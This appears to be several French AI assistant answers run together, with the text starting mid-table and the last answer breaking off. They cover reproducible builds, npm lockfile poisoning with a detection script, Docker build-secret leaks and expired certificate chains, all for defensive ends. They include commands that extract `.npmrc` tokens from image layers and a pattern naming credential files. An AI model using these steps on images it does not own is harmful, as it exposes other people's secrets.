| Vérifiabilité indépendante source → binaire | **Perdue par conséquence** | un tiers ne peut plus confirmer qu'un binaire donné provient bien de ce commit, puisque son propre rebuild produit un autre digest |
Formellement, la propriété attendue est : $\forall e_1, e_2 \in E_{\text{admissibles}},\; B(s, d, e_1) = B(s, d, e_2)$, où $s$ est le commit, $d$ les dépendances verrouillées, $e$ l'environnement de build et $B$ la fonction de build. Votre observation fournit un contre-exemple : $B$ dépend d'une variable non déclarée dans $(s,d)$, à savoir l'horloge.
Deux erreurs à ne pas commettre :
- des digests différents **ne prouvent pas** une compromission ; ici la cause est identifiée comme non malveillante ;
- inversement, l'égalité de deux digests **n'est pas** une preuve mathématique absolue d'identité des artefacts, puisque des collisions existent nécessairement pour toute fonction de hachage à sortie finie ; c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction (par exemple SHA-256).
## 2. Source du défaut
Cause déclarée dans votre énoncé : **des horodatages capturés à l'instant du build sont incorporés dans l'artefact**, donc l'heure système devient une entrée implicite non verrouillée du build.
Vecteurs typiques d'injection d'horodatage (liste de mécanismes techniques connus ; je signale que mon encyclopédie locale ne contient pas d'article sur les builds reproductibles, recherches effectuées sans résultat pertinent, donc ces éléments relèvent de ma connaissance de modèle et doivent être confirmés sur la documentation officielle de vos outils) :
1. Métadonnées d'archives : `mtime`/`ctime` des entrées `tar`, `zip`, `jar`, `whl`, `deb`, `rpm`, en-tête `gzip` contenant l'heure de compression.
2. Macros du préprocesseur C/C++ : `__DATE__`, `__TIME__`, `__TIMESTAMP__`.
3. Champs de format exécutable : en-tête `TimeDateStamp` des PE Windows, index des archives `ar`, identifiants de build générés aléatoirement.
4. Chaînes injectées par le pipeline : numéro de build, date de génération dans un fichier `version`, bannière d'en-tête générée, horodatage dans une documentation embarquée.
5. Effets collatéraux souvent couplés : ordre de parcours du système de fichiers, chemins absolus de build, locale, `umask`, parallélisme non ordonné. Ils ne sont pas votre cause déclarée, mais ils réapparaissent presque toujours dès qu'on corrige les horodatages.
Point de méthode : le fait que la cause soit *cohérente* avec les horodatages ne suffit pas à l'établir. Il faut la confirmer par différence d'artefacts (voir section 4), sinon vous corrigez une hypothèse et non un défaut prouvé.
## 3. Correction
Principe directeur : **toute entrée du build doit être déclarée et dérivée du commit ; rien ne doit être lu sur l'horloge.**
Étape 1, définir un temps canonique dérivé du commit
```bash
# Date du commit (temps du committer, UTC, en secondes epoch)
export SOURCE_DATE_EPOCH="$(git show -s --format=%ct HEAD)"
export TZ=UTC
export LC_ALL=C.UTF-8
```
`SOURCE_DATE_EPOCH` est la convention interprofessionnelle reconnue par de nombreux outils de compilation et d'empaquetage ; **vérifiez outil par outil** qu'elle est effectivement honorée dans vos versions, car le support est partiel selon les projets.
Étape 2, normaliser la production d'archives
```bash
# tar déterministe
tar --sort=name \
--mtime="@${SOURCE_DATE_EPOCH}" \
--owner=0 --group=0 --numeric-owner \
--pax-option=exthdr.name=%d/PaxHeaders/%f,delete=atime,delete=ctime \
-cf artefact.tar -C build .
# gzip sans horodatage d'en-tête
gzip -n -9 artefact.tar
```
Étape 3, supprimer les horodatages à la compilation
- Interdire `__DATE__` et `__TIME__` par une règle de revue automatisée, par exemple `grep -rnE '__DATE__|__TIME__|__TIMESTAMP__' src/` en échec bloquant de CI.
- Neutraliser les chemins : `-ffile-prefix-map=$(pwd)=/build` (GCC/Clang récents) ou `-fdebug-prefix-map`.
- Rendre déterministes les archives statiques : `ar` en mode déterministe (`D`), ou `llvm-ar` ; pour l'éditeur de liens, fixer explicitement l'identifiant de build plutôt que le laisser aléatoire.
- Java/JVM : produire les `jar` avec des horodatages d'entrées fixés, ou post-traiter avec un outil de normalisation de `zip`.
- Python : `PYTHONHASHSEED=0`, `--no-compile` pour ne pas embarquer de `.pyc` horodatés, ou régénérer les `.pyc` de façon déterministe.
- Node : verrou de dépendances par intégrité (`integrity` sha512 du fichier de verrou), pas seulement par version.
Étape 4, figer l'environnement de build lui-même
Un verrou de dépendances applicatives ne verrouille pas le compilateur. Épinglez l'image de build **par digest**, non par étiquette mutable :
```dockerfile
FROM debian:bookworm-slim@sha256:<digest_exact_de_votre_image>
```
Étape 5, ordonner tout ce qui est parcouru
Trier explicitement les listes de fichiers (`LC_ALL=C sort`), fixer la graine des générateurs de code, désactiver les sorties dépendantes du parallélisme.
Étape 6, séparer identité et métadonnées variables
Si vous devez conserver la date réelle de production, sortez-la de l'artefact : placez-la dans une **attestation de provenance signée, externe**, dont le digest de l'artefact est le sujet. L'artefact reste reproductible, la traçabilité temporelle est préservée hors bande.
Risques résiduels de cette correction, à ne pas passer sous silence :
- un outil de votre chaîne peut ignorer `SOURCE_DATE_EPOCH` (support hétérogène) ;
- fixer un identifiant de build ou une date peut casser un mécanisme de cache ou de mise à jour incrémentale qui s'appuie sur ces champs ;
- l'ancien digest et le nouveau différeront, donc toute liste blanche de digests existante doit être mise à jour de façon contrôlée ;
- normaliser les `mtime` peut perturber des outils de build incrémental qui comparent les dates de fichiers.
## 4. Preuve attendue
Ordre logique : d'abord prouver la cause, ensuite prouver la correction.
**A. Preuve de la cause (diagnostic)**
Comparaison structurelle des deux artefacts divergents, et non simple constat d'inégalité des digests :
```bash
diffoscope artefact_build1.tar.gz artefact_build2.tar.gz --html rapport.html
```
La cause est établie si, et seulement si, le rapport ne montre **que** des différences de champs d'horodatage. S'il montre aussi des différences d'ordre, de chemins ou de contenu, votre diagnostic est incomplet.
**B. Preuve de la correction (validation)**
1. **Test différentiel contrôlé.** Deux builds du même commit, en faisant varier délibérément les dimensions qui *doivent* être neutres : horloge système décalée, répertoire de travail différent, `TZ`, locale, `umask`, nom d'utilisateur, ordre d'inodes, nombre de cœurs. Critère de succès : digests identiques.
2. **Rebuild indépendant.** Au moins une seconde partie, sur une autre machine et un autre réseau, reconstruit depuis le commit et publie le digest obtenu. Un build reproduit par le seul pipeline qui l'a produit prouve peu, car il partage les biais de cet environnement.
3. **Non-régression continue.** Un test de CI qui, à chaque commit, construit deux fois et échoue si les digests diffèrent. Il doit contenir une assertion réelle :
```bash
set -euo pipefail
h1="$(build.sh && sha256sum artefact.tar.gz | cut -d' ' -f1)"
h2="$(build.sh && sha256sum artefact.tar.gz | cut -d' ' -f1)"
[ "$h1" = "$h2" ] || { echo "ECHEC reproductibilite: $h1 != $h2"; exit 1; }
```
4. **Attestation de provenance.** Enregistrement signé liant commit, verrou de dépendances, digest de l'image de build, `SOURCE_DATE_EPOCH` et digest de l'artefact. Sans elle, un digest reproductible reste une donnée sans autorité.
5. **Ancrage du journal, si vous journalisez les digests en chaînage $h_i = H(R_i, h_{i-1})$.** Pour pouvoir détecter une modification de l'enregistrement $R_i$, l'ancre externe doit être un condensat $h_k$ avec $k \ge i$, conservé hors de portée d'un attaquant qui contrôlerait le journal ; lui seul engage cryptographiquement $R_i$. Une ancre antérieure, $h_j$ avec $j < i$, ne détecte rien, car la chaîne peut être recalculée à partir de $h_{i-1}$.
**Limite de portée, essentielle.** $N$ builds identiques établissent la reproductibilité **sur les $N$ environnements testés**, jamais universellement : c'est une vérification finie, pas une preuve. Une garantie universelle exigerait un invariant sur la chaîne d'outils, par exemple la démonstration qu'aucune sortie ne dépend d'une source non déclarée, ce que l'on n'obtient pas par accumulation d'essais. Formulez donc votre conclusion comme : « reproductible sous les variations testées, avec attestation et rebuild indépendant », et non « build déterministe prouvé ».
**Réserve de sourçage.** J'ai interrogé l'encyclopédie locale sur les builds reproductibles et sur `SOURCE_DATE_EPOCH` : aucun article pertinent n'y figure. Les mécanismes cités relèvent donc de ma connaissance de modèle, potentiellement périmée, et doivent être confirmés sur la documentation officielle des versions exactes de vos outils avant mise en production. Je n'ai exécuté aucune de ces commandes sur votre chaîne de build.## 1. L'attaque
**Nature : compromission de la chaîne d'approvisionnement par détournement du verrou de résolution** (souvent appelée dependency substitution / lockfile poisoning).
Le mécanisme, tel que je le comprends du fonctionnement documenté de npm (comportement de `npm ci` et de la sous-ressource d'intégrité SRI ; **je précise que je n'ai pas pu confirmer ce point dans l'encyclopédie locale, ma recherche « npm package-lock » n'a retourné aucun article pertinent** : traitez-le comme ma connaissance technique, non comme une source citable) :
- `package.json` ne déclare qu'une **plage sémantique** (`"left-pad": "^1.3.0"`). Il ne contient ni URL ni condensat.
- Le lockfile contient la **décision de résolution effective** : couple `resolved` (où télécharger) + `integrity` (quoi accepter).
- `npm ci` installe **strictement d'après le lockfile**, sans le recalculer. L'attaquant change donc l'origine du binaire sans toucher au manifeste revu par les humains.
- Le diff de `package.json` est vide, et le diff du lockfile est fréquemment marqué « fichier généré » et survolé en revue. La discrétion de l'attaque tient entièrement à cet angle mort de revue.
Périmètre atteint : **intégrité et authenticité de l'artefact installé**, avec exécution de code arbitraire au build (scripts `postinstall`) et donc compromission possible de la confidentialité des secrets CI. Disponibilité et confidentialité du dépôt lui-même ne sont pas directement visées.
## 2. Pourquoi la preuve est altérée, et non contournée
C'est le point central. Le champ `integrity` est un condensat :
$$d_{\text{lock}} = \mathrm{base64}\big(\mathrm{SHA\text{-}512}(T)\big)$$
et le contrôle effectué par le gestionnaire est l'égalité
$$\mathrm{SHA\text{-}512}(T_{\text{téléchargé}}) \stackrel{?}{=} d_{\text{lock}}.$$
L'attaquant ne casse pas SHA-512 : il **réécrit le membre de droite**. En posant $d_{\text{lock}} = \mathrm{SHA\text{-}512}(T_{\text{malveillant}})$, l'égalité est satisfaite de façon triviale et l'installation réussit *sans aucune alerte*. La vérification devient tautologique.
Formulé en termes d'ancrage, exactement comme pour un journal à chaînage : **une preuve d'intégrité n'a de valeur que si sa valeur de référence est hors de portée de l'attaquant**. Ici, l'ancre ($d_{\text{lock}}$) réside dans le dépôt, c'est-à-dire dans le périmètre même que l'attaquant a compromis. La confiance est auto-référentielle.
Deux distinctions à tenir :
- Le SRI atteste l'**intégrité relative** (le binaire téléchargé est bien celui désigné par le lock), jamais l'**authenticité de provenance** (ce binaire est bien celui publié par l'éditeur légitime). Confondre les deux est la faille conceptuelle exploitée.
- Même dans le cas honnête, une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité : des collisions existent nécessairement par argument de comptage. C'est une **assurance cryptographique très forte sous les hypothèses de sécurité de SHA-512**. Ce n'est pas le maillon faible ici, mais la formulation doit rester exacte.
## 3. Contrôle CI
Le verrou doit comparer le lockfile à une **référence externe au dépôt**. J'ai écrit et exécuté ce contrôle ; voici le code et sa sortie réelle.
```python
import re, base64, hashlib
ALLOWED_HOSTS = {"registry.npmjs.org", "npm.interne.example.com"}
SRI_RE = re.compile(r"^(sha512|sha384)-([A-Za-z0-9+/]+={0,2})$")
def audit_lockfile(lock, reference):
"""reference: {'nom@version': 'sha512-...'} obtenu HORS du depot
(registre officiel ou attestation signee). Retourne les violations."""
violations = []
for path, meta in lock.get("packages", {}).items():
if path == "" or meta.get("link"):
continue
name = path.split("node_modules/")[-1]
version, resolved, integrity = meta.get("version"), meta.get("resolved"), meta.get("integrity")
if not resolved:
violations.append((name, "RESOLVED_ABSENT", str(meta))); continue
host = resolved.split("://", 1)[-1].split("/", 1)[0]
if not resolved.startswith("https://"):
violations.append((name, "NON_TLS", resolved))
if host not in ALLOWED_HOSTS:
violations.append((name, "HOTE_NON_AUTORISE", host))
m = SRI_RE.match(integrity or "")
if not m:
violations.append((name, "INTEGRITY_INVALIDE_OU_FAIBLE", str(integrity))); continue
try:
dlen = len(base64.b64decode(m.group(2), validate=True))
except Exception:
violations.append((name, "BASE64_INVALIDE", integrity)); continue
if (m.group(1), dlen) not in {("sha512", 64), ("sha384", 48)}:
violations.append((name, "LONGUEUR_CONDENSAT_INCOHERENTE", f"{m.group(1)}/{dlen}o"))
key = f"{name}@{version}"
ref = reference.get(key)
if ref is None:
violations.append((name, "PAS_DE_REFERENCE_EXTERNE", key))
elif ref != integrity:
violations.append((name, "INTEGRITY_DIVERGE_DU_REGISTRE",
f"{key}: lock={integrity[:20]}... ref={ref[:20]}..."))
return violations
```
Sortie obtenue sur mon jeu d'essai (`left-pad` détourné vers un miroir tiers avec condensat réécrit, `ms` intact) :
```
HOTE_NON_AUTORISE left-pad cdn-mirror-npm.example.net
INTEGRITY_DIVERGE_DU_REGISTRE left-pad [email protected]: lock=sha512-f+d6eO7HRo4cx... ref=sha512-zGymjQNMTbvSI...
violations = 2 | verrou CI -> REJET
temoin sain -> violations = 0
assertions OK (2 tests)
```
Les deux assertions vérifiées sont : exactement 2 violations avec les codes `{HOTE_NON_AUTORISE, INTEGRITY_DIVERGE_DU_REGISTRE}` sur le lock altéré, et 0 violation sur le témoin sain (le test négatif est indispensable : un contrôle qui rejette tout ne prouve rien).
| Contrôle | Rôle | Ce qu'il ne fait pas |
|---|---|---|
| `integrity` comparé à une **ancre externe** | Seul contrôle qui détecte réellement cette attaque | Inopérant si la référence est lue depuis le dépôt |
| Liste blanche d'hôtes `resolved` | Détecte le détournement d'origine | Aveugle si l'attaquant garde l'hôte officiel |
| `npm ci` exclusif (jamais `npm install` en CI) | Empêche une dérive silencieuse du lock | Ne valide pas le contenu du lock |
| `--ignore-scripts` + build en bac à sable sans secrets | Réduit l'impact de l'exécution | N'empêche pas l'inclusion du code malveillant dans l'artefact |
| Revue obligatoire du diff de lockfile (CODEOWNERS, propriétaire sécurité) | Ferme l'angle mort humain | Dépend de la vigilance |
| Attestations de provenance signées, quand l'éditeur en publie | Apporte l'**authenticité**, pas seulement l'intégrité | Couverture partielle de l'écosystème |
| Miroir interne immuable, unique source autorisée | Rend l'hôte tiers structurellement impossible | Le miroir devient une cible à durcir |
**Point de conception essentiel** : le contrôle doit **échouer en mode fermé**. Une dépendance absente de la référence externe doit provoquer un rejet (`PAS_DE_REFERENCE_EXTERNE`), jamais un passage par défaut. Le jeton CI qui interroge le registre doit être en lecture seule et à moindre privilège.
Limite honnête du contrôle proposé : il ne dit rien sur le cas où le paquet légitime est lui-même malveillant, ni sur une compromission du registre amont ou du miroir servant de référence. Il détecte le **désaccord entre deux sources**, ce qui est déjà exactement la faille décrite.
## 4. Action
Séquence non destructive, priorité à la préservation de la preuve.
1. **Geler**, ne rien supprimer. Suspendre les déploiements et les publications d'artefacts. **Ne pas exécuter `git reset --hard`, `git checkout` destructif ni suppression du lockfile** : ce fichier est la pièce à conviction. Créer d'abord une copie forensique hors du dépôt (commit incriminé, diff, logs CI, journaux de sortie réseau des runners).
2. **Établir les faits, sans les surinterpréter.** Identifier le commit, son auteur apparent, l'horodatage, et la liste exacte des builds ayant consommé le lock altéré. Précision de méthode : un build « vert » ne prouve pas qu'il n'a pas été compromis, et l'auteur Git apparent ne prouve pas l'identité de l'attaquant (les métadonnées Git ne sont pas authentifiées sans signature).
3. **Considérer les secrets comme exposés** dès qu'un build a tourné avec le lock altéré et des scripts d'installation activés. Rotation immédiate des jetons de registre, clés de déploiement, identifiants cloud, jetons CI. Un secret n'a pas à apparaître dans les journaux, y compris pendant l'investigation.
4. **Correction ciblée et réversible**, après accord explicite de l'opérateur : régénérer le lockfile depuis le `package.json` inchangé dans un environnement propre, puis valider champ par champ contre le registre officiel avec le contrôle ci-dessus. Restaurer plutôt qu'écraser : nouveau commit de correction, signé, laissant l'historique intact et auditable.
5. **Reconstruire et comparer.** Rejouer les builds sur base saine et comparer les artefacts produits à ceux publiés. Une divergence indique une propagation en aval ; il faut alors dépublier ou révoquer les artefacts concernés et notifier les consommateurs.
6. **Fermer la cause racine.** Brancher le verrou de la section 3 en bloquant (pas en avertissement), imposer les commits signés et la revue obligatoire du lockfile, restreindre les droits d'écriture sur la branche protégée, et exiger `npm ci --ignore-scripts` en CI.
7. **Vérifier le correctif par un test négatif permanent** : conserver dans la suite de tests le jeu d'essai « lock empoisonné » qui doit rester rejeté, et le témoin sain qui doit rester accepté. Sans les deux, la régression du verrou passerait inaperçue.
Hypothèses et incertitudes : je n'ai pas accès à votre dépôt, à votre CI ni au lockfile réel ; le jeu d'essai ci-dessus est synthétique et sert uniquement à démontrer que le contrôle discrimine correctement. Les affirmations sur le comportement précis de `npm ci` et du champ `integrity` relèvent de ma connaissance technique et **n'ont pas pu être confirmées par l'encyclopédie locale** ; vérifiez-les dans la documentation officielle npm avant de les inscrire dans une politique de sécurité opposable.## 1. Mécanisme sûr initial (ce qui était correct)
Avec BuildKit, `RUN --mount=type=secret,id=npmrc` expose la valeur du secret dans un **montage éphémère de type tmpfs**, visible seulement pendant l'exécution de cette instruction `RUN` (par défaut sous `/run/secrets/<id>`).
Propriétés de ce mécanisme :
| Propriété | Effet |
|---|---|
| Montage tmpfs, hors du système de fichiers de la couche | Le contenu n'entre pas dans le snapshot de la couche |
| Portée limitée au `RUN` porteur du `--mount` | Invisible pour les instructions suivantes |
| Pas de `ARG` / `ENV` | La valeur n'apparaît pas dans la config de l'image (`docker inspect`) |
| Pas de `COPY` | Aucun blob de couche ne contient le fichier secret |
C'est bien la bonne primitive : elle protège la **confidentialité** du secret vis-à-vis de l'image produite et de son historique.
## 2. La fuite : le mécanisme est court-circuité par l'écriture
Le montage protège seulement le **chemin monté**, pas les **copies** que la commande en fait.
Chaîne exacte du défaut :
1. Le `RUN` lit `/run/secrets/npmrc` (tmpfs, sûr).
2. Le même `RUN` écrit le contenu, token inclus, dans `/root/.npmrc`, qui appartient au système de fichiers de l'image.
3. À la fin de l'instruction, BuildKit calcule le diff du système de fichiers : `/root/.npmrc` est un fichier **créé**, il est donc empaqueté dans le blob tar de cette couche.
4. Cette couche fait partie du manifeste de l'image finale.
Trois conséquences souvent mal comprises :
- **Un `rm` dans une instruction ultérieure ne répare rien.** Le format d'image OCI est additif : la suppression dans une couche postérieure est représentée par un marqueur de suppression (fichier `.wh.` dans le format AUFS-like utilisé par les couches OCI). Le contenu original reste intégralement présent et extractible dans le blob de la couche antérieure. Seule la **vue fusionnée** au moment de l'exécution est nettoyée, pas l'artefact.
- Même si le `rm` est fait dans le **même** `RUN` (auquel cas le fichier ne fuit effectivement pas), des copies dérivées peuvent subsister : caches d'outillage, journaux, fichiers de configuration recopiés dans le projet. Ce point est une hypothèse à vérifier au cas par cas, pas un fait général.
- Si un cache de build est exporté (`--cache-to` vers un registre, cache partagé en CI), le résultat de cette couche peut fuir **hors de l'image finale**.
Nature de l'atteinte : **confidentialité**, non intégrité ni disponibilité. Le token doit désormais être traité comme divulgué, non comme « à risque ».
## 3. Visibilité : qui peut lire, et comment le prouver
Quiconque peut **pull** l'image, ou lire le registre, le cache, une sauvegarde ou un poste de développeur qui l'a tirée, peut extraire le token. Aucun privilège d'exécution n'est nécessaire : il suffit de lire les blobs.
Commandes de vérification (à exécuter sur l'image suspecte, en substituant votre référence) :
```bash
# 1) Vue fusionnée : détection la plus rapide, mais insuffisante seule
docker run --rm --entrypoint sh IMAGE -c 'cat /root/.npmrc 2>/dev/null'
# 2) Preuve au niveau des blobs : c'est celle qui compte
docker save IMAGE -o /tmp/img.tar
mkdir -p /tmp/img && tar -xf /tmp/img.tar -C /tmp/img
# lister toute couche contenant le fichier
find /tmp/img -name '*.tar' -print0 | while IFS= read -r -d '' l; do
if tar -tf "$l" 2>/dev/null | grep -q 'root/\.npmrc'; then
echo "PRESENT dans $l"
tar -xOf "$l" root/.npmrc 2>/dev/null | sed 's/_authToken=.*/_authToken=<REDACTED>/'
fi
done
# 3) Config et historique : cherche ARG/ENV et commandes révélatrices
docker history --no-trunc IMAGE
docker inspect IMAGE --format '{{json .Config.Env}}'
```
Points de rigueur sur l'interprétation :
- Le test 1 négatif **ne prouve pas** l'absence de fuite (une couche antérieure peut contenir le fichier masqué par un marqueur de suppression). Seul le test 2 est probant.
- Le test 2 positif est une preuve directe de présence. Le test 2 négatif prouve l'absence **de ce chemin** dans les couches inspectées, pas l'absence de toute copie du secret.
- N'affichez jamais le token en clair dans les journaux CI ; la redaction ci-dessus est délibérée.
## 4. Correction
### 4.1 Correctif de conception : ne jamais matérialiser le secret
Le meilleur correctif est de faire pointer l'outil **directement** sur le montage, sans copie. Deux variantes correctes.
Variante A, montage au chemin attendu par l'outil :
```dockerfile
# syntax=docker/dockerfile:1
FROM node:20-alpine AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN --mount=type=secret,id=npmrc,target=/root/.npmrc,mode=0400,required=true \
npm ci --no-audit --no-fund
```
Ici `/root/.npmrc` est un point de montage tmpfs pendant le `RUN` : le chemin est utilisé mais **rien n'est écrit dans la couche**.
Variante B, redirection par variable d'environnement locale au `RUN` :
```dockerfile
RUN --mount=type=secret,id=npmrc,mode=0400,required=true \
NPM_CONFIG_USERCONFIG=/run/secrets/npmrc npm ci --no-audit --no-fund
```
La variable est définie sur la ligne de commande du `RUN`, donc absente de `Config.Env` de l'image.
Puis isolation par multi-stage, pour que le stage final ne contienne que des artefacts :
```dockerfile
FROM node:20-alpine AS build
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
RUN npm run build
FROM node:20-alpine AS runtime
WORKDIR /app
ENV NODE_ENV=production
RUN addgroup -S app && adduser -S -G app app
COPY --from=build --chown=app:app /app/dist ./dist
COPY --from=build --chown=app:app /app/node_modules ./node_modules
USER app
CMD ["node","dist/server.js"]
```
Build :
```bash
DOCKER_BUILDKIT=1 docker build \
--secret id=npmrc,src="$HOME/.npmrc" \
-t monimage:1.0.0 .
```
### 4.2 Si un outil exige impérativement un fichier réel
Confinez l'écriture au **même** `RUN` et garantissez la suppression même en cas d'échec :
```dockerfile
RUN --mount=type=secret,id=npmrc,mode=0400,required=true \
set -eu; \
trap 'rm -f /root/.npmrc' EXIT INT TERM; \
install -m 0600 /run/secrets/npmrc /root/.npmrc; \
npm ci --no-audit --no-fund; \
rm -f /root/.npmrc
```
Le fichier n'existe plus au moment du snapshot, il n'entre donc pas dans la couche. Cette solution reste inférieure à la variante A : elle dépend de la discipline du script et d'un chemin d'échec correct.
### 4.3 Actions immédiates sur l'incident, dans cet ordre
1. **Révoquer et faire tourner le token** auprès du registre npm. C'est la seule mesure qui neutralise les copies déjà distribuées. Ne dépend pas de la suppression de l'image.
2. **Retirer les artefacts** : supprimer les tags concernés du registre, purger les caches de build exportés, invalider les caches CI. Opération destructive : faites-la après avoir noté les digests concernés, et vérifiez votre politique de conservation avant suppression.
3. **Reconstruire** avec le Dockerfile corrigé, puis re-vérifier avec la procédure de la section 3.
4. **Auditer les images voisines** construites depuis le même Dockerfile ou la même base, la couche fautive peut être partagée.
5. **Examiner les journaux d'accès** du registre npm pour la période d'exposition, afin d'estimer un usage éventuel.
### 4.4 Garde-fou en intégration continue
Ajoutez une porte bloquante après build, avant push :
```bash
#!/usr/bin/env bash
# gate-secrets.sh IMAGE -> exit 1 si un fichier de credentials est dans une couche
set -euo pipefail
IMAGE="$1"
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT
docker save "$IMAGE" -o "$WORK/img.tar"
tar -xf "$WORK/img.tar" -C "$WORK"
PATTERN='(^|/)(\.npmrc|\.netrc|\.git-credentials|\.aws/credentials|id_rsa|\.pypirc|\.docker/config\.json)$'
FOUND=0
while IFS= read -r -d '' layer; do
if tar -tf "$layer" 2>/dev/null | grep -Eq "$PATTERN"; then
echo "ECHEC: credentials dans la couche ${layer#$WORK/}" >&2
FOUND=1
fi
done < <(find "$WORK" -name '*.tar' ! -name 'img.tar' -print0)
exit "$FOUND"
```
Complétez par un scanner de secrets à base d'entropie et de motifs sur les couches, par exemple TruffleHog ou Gitleaks, en mode bloquant. Je ne peux pas vérifier ici la syntaxe exacte de leurs options : reportez-vous à leur documentation officielle avant intégration.
## 5. Risques résiduels et limites
- Aucune de ces mesures ne rend le build « sans risque ». Un `RUN` peut toujours exfiltrer un secret monté vers le réseau pendant le build : le montage protège l'**artefact**, pas contre une instruction hostile. Contre-mesure : revue de code des Dockerfiles, bases et registres épinglés par digest, build réseau restreint si votre chaîne le permet.
- Le correctif de la section 4.2 dépend de la bonne exécution du `trap` ; un `kill -9` du shell le contourne.
- Les caches `--mount=type=cache` peuvent conserver des dérivés du secret (journaux, métadonnées d'outil). À traiter comme un support à purger.
- La détection par motifs de la section 4.4 est une liste noire : elle ne couvre pas un secret écrit sous un nom imprévu. Un nombre fini de vérifications négatives n'établit pas l'absence universelle de secret dans l'image ; seule une conception qui n'écrit jamais le secret fournit une garantie structurelle.
- Un code de retour nul du build ne prouve pas l'absence de fuite : seule l'inspection des blobs le documente, et uniquement pour les motifs testés.
## 6. Traçabilité de cette réponse
L'encyclopédie locale LANXAS interrogée ne contient pas d'article sur BuildKit ni sur le format d'image OCI, je n'ai donc pas pu étayer par cette base. Les éléments ci-dessus reposent sur le modèle de couches additives des images OCI et sur le comportement documenté de `RUN --mount=type=secret` de BuildKit, tels que je les connais ; ma connaissance de modèle peut être périmée sur les détails d'options. Je vous recommande de confirmer la syntaxe et les chemins par défaut auprès de la documentation officielle Docker BuildKit, et de valider empiriquement avec la procédure d'inspection de la section 3, qui, elle, produit une preuve directe sur votre image.## Verdict en quatre lignes | Couche | Verdict | Fondement | |---|---|---| | Signature de l'image | **Cryptographiquement valide** | Le condensat recalculé correspond à celui déchiffré avec la clé publique de l'intermédiaire (mécanisme décrit dans l'article X.509, Wikipédia FR, section « Certificats ») | | Chaîne de certification | **Structurellement complète** | Chaque certificat est signé par la clé privée de l'autorité qui lui succède, jusqu'à la racine auto-signée (article X.509, Wikipédia FR, section « Certification en chaîne ») | | Contrainte temporelle | **Échec** | L'ancre de confiance est hors de sa période de validité à l'instant de référence imposé par la politique, et aucun instant antérieur n'est prouvable | | Admission | **Refus** (fail closed), avec dérogation possible mais explicite et documentée | La politique fixe l'instant de référence au temps courant ; la condition n'est pas satisfaite | ## 1. Ce qui est réellement établi, et ce qui ne l'est pas Il faut séparer trois choses que la question mélange volontairement. **La vérité de l'assertion.** Il est plausible, voire probable, que l'image ait été signée alors que toute la chaîne était encore valide. L'expiration d'un certificat n'est pas une compromission : c'est la fin naturelle de sa période de validité, distincte de la révocation pour perte ou compromission de clé (article X.509, Wikipédia FR, section « Liste de révocation », qui énumère l'expiration naturelle et la compromission comme motifs d'invalidité distincts). Rien n'indique donc que la signature soit frauduleuse. **La preuve dont vous disposez.** Elle est insuffisante sur un point précis, et un seul : l'antériorité. Sans jeton d'horodatage d'un tiers horodateur de confiance, vous ne pouvez pas prouver que les données existaient avant une certaine date, ce qui est exactement la fonction de l'horodatage cryptographique et l'objet du protocole RFC 3161 (article Horodatage, Wikipédia FR, section « Cryptographie »). L'absence de cette preuve n'est pas une preuve de fraude, mais elle est une absence de preuve, et une politique de sécurité se prononce sur la preuve, pas sur la plausibilité. **L'admissibilité selon la politique.** La politique posée dans votre énoncé évalue la validité à l'instant courant. À cet instant, l'ancre est expirée. Le résultat est mécanique : la condition est fausse, l'admission est refusée. Une politique déterministe ne doit pas être réinterprétée au cas par cas sous la pression d'un déploiement. Précision honnête sur un point que je ne peux pas vérifier avec mes sources locales : dans certains modèles de validation, l'ancre de confiance est traitée comme un paramètre de configuration (nom et clé publique) plutôt que comme un certificat soumis au contrôle d'expiration, si bien que certaines implémentations n'échouent pas sur l'expiration de la racine. Je ne dispose pas ici du texte de la RFC 5280 pour l'affirmer ; l'article X.509 de Wikipédia FR mentionne la RFC 5280 comme profil applicable mais n'en détaille pas l'algorithme de validation de chemin. Traitez ce paragraphe comme une hypothèse à vérifier dans la RFC 5280 section 6.1 et dans le code de votre validateur, pas comme un fait établi. Dans tous les cas, votre politique explicite, telle que formulée, tranche vers le refus. ## 2. Piège secondaire à ne pas manquer L'état de révocation devient lui aussi indéterminé. Les CRL et les réponses OCSP sont signées par l'autorité émettrice (article X.509, Wikipédia FR : « Cette liste est signée par l'autorité de certification pour en empêcher toute modification »). Si la racine expirée était la source de ces informations, vous perdez simultanément la validité temporelle et la capacité de statuer sur la révocation de l'intermédiaire. Vous ne seriez donc pas seulement face à un certificat périmé, mais à une branche dont le statut de révocation n'est plus vérifiable, ce qui est plus grave et impose le refus par défaut. Notez également que la validité de la signature est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction de hachage, non une preuve mathématique absolue d'identité : des collisions existent nécessairement, et des collisions exploitables ont été démontrées sur MD5 pour forger deux certificats de signatures identiques (article X.509, Wikipédia FR, section « Sécurité », travaux de Lenstra, Wang et de Weger). Si la chaîne repose sur MD5 ou SHA-1, le verdict « signature valide » doit être fortement dégradé, indépendamment de la question temporelle. ## 3. Actions concrètes, par ordre de préférence 1. **Obtenir un jeton d'horodatage** auprès d'une autorité d'horodatage conforme au protocole RFC 3161 (article Horodatage, Wikipédia FR) sur la signature existante. Attention : un horodatage obtenu aujourd'hui prouve seulement l'existence aujourd'hui, donc après l'expiration. Il ne répare rien rétroactivement. Cette voie ne fonctionne que si un jeton avait été émis avant l'expiration et qu'il dort quelque part, dans les artefacts de build, un journal de publication ou un dépôt d'attestations. Cherchez-le avant tout le reste. 2. **Re-signer l'image** avec une chaîne intégralement valide. C'est la seule remédiation propre et sans dette. Le contenu ne change pas, seule l'attestation est renouvelée. 3. **Contre-certifier l'intermédiaire** par une nouvelle racine valide, si l'autorité le permet, ce qui reconstruit un chemin valide vers une ancre non expirée sans retoucher l'image. 4. **Dérogation temporaire** seulement en dernier recours : ancre installée hors bande après vérification manuelle de son empreinte par un canal indépendant, portée limitée à cet artefact précis, durée bornée, journalisation de la décision et de son auteur, et échéance de retrait. Une dérogation sans date de fin devient une faille permanente. Ce qu'il ne faut pas faire : désactiver globalement la vérification temporelle, reculer l'horloge du validateur, ou ajouter l'ancre expirée au magasin de confiance général. Ces trois gestes transforment un incident borné en affaiblissement structurel de toute la validation, pour tous les artefacts. ## 4. Risques résiduels Aucune de ces options n'est « sans risque ». La re-signature suppose que la clé de signature n'a pas été compromise entre-temps, ce que vous ne pouvez pas établir depuis l'artefact seul. La contre-certification hérite de la confiance que 